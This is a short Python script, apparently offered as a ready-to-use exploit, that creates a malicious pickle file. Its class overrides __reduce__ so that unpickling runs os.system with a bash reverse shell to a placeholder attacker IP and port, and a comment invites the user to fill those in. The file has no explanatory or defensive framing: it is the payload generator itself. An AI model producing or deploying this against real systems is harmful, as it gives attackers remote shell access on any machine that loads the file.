# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  # Change the ATTACKER_IP and ATTACKER_PORT
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f: 
    f.write(malicious_data)  
  
print("Malicious pickle file created successfully.")